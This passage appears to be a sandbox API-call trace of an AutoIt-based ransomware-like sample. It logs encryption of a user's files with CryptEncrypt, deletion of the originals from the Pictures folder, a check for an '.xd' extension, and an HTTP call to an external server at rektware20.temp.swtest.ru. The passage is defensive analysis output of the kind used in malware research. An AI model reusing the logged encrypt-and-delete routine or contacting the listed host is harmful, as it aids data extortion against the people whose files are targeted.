lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.983] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e8580*, pdwDataLen=0x130e618*=0x17a5e, dwBufLen=0x17a60 | out: pbData=0x17e8580*, pdwDataLen=0x130e618*=0x17a60) returned 1 [0061.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.983] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.984] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.984] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.984] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.984] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.984] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.984] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.993] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.993] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.993] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.994] WriteFile (in: hFile=0x3bc, lpBuffer=0x1894a78*, nNumberOfBytesToWrite=0x17a60, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1894a78*, lpNumberOfBytesWritten=0x130f01c*=0x17a60, lpOverlapped=0x0) returned 1 [0061.996] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.997] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.997] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.997] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.997] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.997] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.997] CryptDestroyKey (hKey=0x164c870) returned 1 [0061.997] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.997] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.997] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.997] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.999] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.999] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.999] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.999] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.999] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.999] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.000] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.000] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.000] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.000] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.000] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.000] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.000] CryptReleaseContext (hProv=0x17aaab0, dwFlags=0x0) returned 1 [0062.000] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.000] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.000] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.000] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.000] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.000] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.001] CloseHandle (hObject=0x2ac) returned 1 [0062.001] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.001] CloseHandle (hObject=0x3bc) returned 1 [0062.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.010] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.011] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", lpFilePart=0x0) returned 0x3d [0062.011] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\85uaxddw.gif")) returned 0x20 [0062.016] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0062.016] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\85uaxddw.gif")) returned 1 [0062.019] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.019] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0062.020] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.020] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.020] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.020] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.020] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.020] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.020] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.020] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.020] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.020] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.020] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.020] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e20, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e20, lpdwBufferLength=0x130ef8c) returned 1 [0062.020] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.020] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.021] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.022] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.022] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.022] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.022] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.030] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629300, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629300*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.030] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.031] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.031] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.031] CloseHandle (hObject=0x0) returned 0 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.031] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.032] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\eAGTqd14I1qZAkWQA.bmp", 